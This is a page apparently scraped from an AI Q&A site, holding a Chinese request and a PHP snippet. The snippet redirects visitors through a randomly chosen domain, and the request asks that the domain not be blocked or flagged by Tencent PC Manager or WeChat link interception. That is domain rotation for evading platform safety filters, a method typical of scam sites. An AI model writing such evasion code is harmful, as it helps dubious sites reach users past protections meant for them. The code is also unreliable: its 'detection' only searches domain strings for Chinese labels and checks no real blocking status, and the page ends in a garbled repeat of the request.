以下是实现检测功能的代码:

$j46 = $conf['j46']; $j47 = $conf['j47']; if ($j47 == 1) { $domains = array_filter(explode(",", $j46), function ($domain) { return !strpos($domain, "腾讯管家") && !strpos($domain, "微信拦截"); }); // 过滤掉包含腾讯管家或微信拦截的域名 $chosen_domain = $domains[array_rand($domains)]; // 随机获取$j46里的一个值

if (!isset($_COOKIE['redirected'])) {
    setcookie('redirected', 'true', time()+10);
    $current_url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $new_url = "http://" . $chosen_domain . $_SERVER['REQUEST_URI'];

    $headers = @get_headers($new_url);
    if (!$headers || strpos($headers[0], "200") === false) {
        echo "域名 $chosen_domain 存在问题,无法访问,请稍后再试!";
        exit();
    }

    if (strpos(file_get_contents($new_url), "非官方的域名") !== false) {
        echo "域名 $chosen_domain 被标记为非官方的域名,请更换域名!";
        exit();
    }

    header("Refresh: 2; URL=$new_url");
    echo "<title>跳转中,请稍等 </title>嘿嘿";
    exit();
} else {
    // 已经跳转过,不再跳转
}
帮我实现一个检测功能随机获取变量$j46里不是腾讯管家和微信拦截的可以在QQ和微信内正常访问的 不报毒且不提示非官方的域名$j46 = $confj46;$j47 = $confj47;if $j47 == 1 $domains = explode $j46;$chosen_domain = $domainsarray_rand$domains; 随机获取$j46里的一个值if !isset$_

原文地址: http://www.cveoy.top/t/topic/egKM 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录